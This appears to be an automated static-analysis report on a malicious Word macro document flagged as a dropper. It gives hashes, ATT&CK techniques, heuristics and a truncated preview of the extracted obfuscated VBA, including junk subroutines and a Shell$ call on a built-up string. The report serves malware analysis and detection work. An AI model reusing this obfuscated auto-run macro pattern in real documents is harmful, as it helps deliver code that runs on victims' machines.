Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73b0e872895a4c83…

MALICIOUS

Office (OLE)

66.7 KB Created: 2017-09-25 06:44:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: a239cc3c94d8a96d0b4e55a32b2afa99 SHA-1: 5a0beb3f01803f17272222c418411375c79f5399 SHA-256: 73b0e872895a4c83f5bf3de480daf333a3a562e68e845c9fe84d4c5324ef45fe
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoOpen macro and a Shell() call, which are indicative of malicious intent. The ClamAV detection name 'Doc.Dropper.Agent-6426738-0' further supports this. The primary function appears to be executing arbitrary code via the Shell() function, likely to download and run a secondary payload.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6426738-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6426738-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6218 bytes
SHA-256: 197eaa3f9136f47a322f36c9c6668d5bffb716522e288d8f7a3f253af1c005ee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
'KsESFZMSGfNLpYHcLBEnULyFMuaaxeYSgFvtZXcgVUBaWdZwbWVWLdtHTxZF
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 'LPsRmfcXsUVGsnYunaRwPVfZXSVbwXVsWCPubAaaTUGPpykdUDuvCRYHrz

Sub KAFs8z7n4()
   On Error Resume Next
   MZve = Atn(wQpn1Z9b)
End Sub
 Sub XQrQX9F9()
   On Error Resume Next
   Dim hWCg1198Q, RSHC
   Bpl = vjlB0 - lJQpp0
End Sub
 Sub kFcp774()
   On Error Resume Next
   ISZgis58 = CStr(TrfF1u43)
   Set Axo = 7
End Sub
 Sub xUNN6(ILAh21L)
   On Error Resume Next
End Sub
 Sub NTCS(HpLSg0)
   On Error Resume Next
   LWQOPo = AysBk4
End Sub

Function RmSVpAcgf()
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VBA.Shell$ "" + tLpZ
... (truncated)

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